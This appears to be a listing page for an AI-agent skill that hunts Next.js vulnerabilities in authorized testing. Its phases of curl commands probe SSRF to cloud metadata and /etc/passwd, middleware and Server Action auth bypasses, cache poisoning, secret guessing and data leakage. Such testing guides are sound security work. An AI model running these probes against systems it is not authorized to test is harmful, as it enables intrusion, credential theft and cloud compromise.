hunt-nextjs
Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.
How do I install this agent skill?
npx skills add https://github.com/uphiago/recon-skills --skill hunt-nextjsIs this agent skill safe to install?
- Gen Agent Trust Hubfail
This skill is a security auditing tool designed to identify vulnerabilities in Next.js applications. It uses common command-line utilities to perform probes and extract data from a target server. The analysis identified the use of local Python scripts for data processing and a potential surface for indirect prompt injection via the audited target's content.
- Socketwarn
1 alert: gptSecurity
- Snykwarn
Risk: MEDIUM · 1 issue
What does this agent skill do?
HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
When to Use
- Target runs Next.js 13/14/15 or any React SSR framework.
Prerequisites
- Explicit authorization, target boundaries, and rate limits for the target.
- Tooling:
curl,python3. - A writable evidence directory:
export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR". - For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.
How to Run
# Set once per engagement; every step below uses these.
TARGET="example.com" # or the engagement target
export OUTPUT_DIR="${OUTPUT_DIR:-./output}"
# Confirm Next.js and get build ID
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"[^"]+"'
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Po '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/_next/static/chunks/framework*.js | grep -Eo '"next":"[^"]+"'
# Source map exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
Procedure
The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.
Crown Jewel Targets
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
Highest-value chains:
- Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- Middleware bypass via
/_next/static/— middleware skips static asset paths → protected routes accessible via/_next/data/IDOR /_next/imageSSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata- ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
- RSC payload leakage — React Server Component flight data contains server-side props not meant for client
Attack Surface Signals
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
Phase 1 — Fingerprint & Version Detection
# Confirm Next.js and get build ID
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"[^"]+"'
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Po '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/_next/static/chunks/framework*.js | grep -Eo '"next":"[^"]+"'
# Source map exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
Phase 2 — Server Actions Abuse
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
Phase 3 — Middleware Auth Bypass
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
Phase 4 — Image Optimization SSRF (/_next/image)
# Basic SSRF test — internal metadata
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
# Protocol bypass attempts
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
FALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only
fetches URLs allowed by images.remotePatterns / images.domains in
next.config.js. A non-whitelisted url returns 400 by default — that is
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200
returns an optimized image, not the upstream response body, so a status code
alone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique
Collaborator subdomain (above), or by body-diffing a known-internal vs
known-external target. Do not report on status code.
Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative redirect that trusts the
Hostheader — NOT a/_next/imagebug, and it does NOT affect Host-routed providers like Vercel. See Phase 2 for the Server Actions surface.
Phase 5 — /_next/data/ IDOR & Data Leakage
# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
# Try other users' data
for ID in 1 2 3 100 1000; do
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/dashboard" | \
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
Phase 6 — ISR Cache Poisoning
# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users
# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl --max-time 30 --connect-timeout 10 -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
# On-demand revalidation endpoint (if exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
Phase 7 — Debug & Stack Frame Endpoints
Precondition: __nextjs_launch-editor and __nextjs_original-stack-frame
are react-dev-overlay middleware mounted ONLY under next dev. A production
build (next build && next start) does not register these routes — a 404 here
is the normal, expected result, not a "filter" you need to bypass. They are
reachable ONLY in the rare misconfiguration of literally running next dev in
production. Treat any non-404 as the real finding; do NOT report a 404/filtered
response as confirmation.
# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" \
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'
Phase 8 — Environment Variable Leakage
# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
# Check for non-public vars accidentally exposed
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"
Chain Table
| Next.js finding | Chain to | Impact |
|---|---|---|
| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
/_next/image SSRF | Cloud metadata → IAM creds | Cloud compromise |
/_next/data/ IDOR | Other users' server-side props | PII / token exfil |
| Middleware bypass | Protected admin routes | Auth bypass |
| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
__NEXT_DATA__ leaks | Server-side secrets in HTML | API keys / tokens |
Pitfalls
- Next.js source maps in production —
.mapfiles in/_next/are information disclosure (source code visibility), not RCE. - _next/data endpoint enumeration — build ID + data endpoints expose server-side props. Test if sensitive data passes through getServerSideProps.
- Middleware bypass — Next.js middleware runs on Edge. Test if
/api/paths bypass middleware via direct access. - ISR cache poisoning — Incremental Static Regeneration can be poisoned if revalidation triggers are controllable.
Verification
✅ Server Action: action executes without valid session, returns data or mutates state
✅ SSRF: DNS/HTTP callback received from /_next/image SSRF
✅ Middleware bypass: 200 response on protected route without auth cookie
✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII
Severity:
- Server Action auth bypass → data mutation: High/Critical
- Image SSRF → cloud metadata: Critical
- Middleware bypass → admin panel: High
- Source map exposure only: Low-Medium
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
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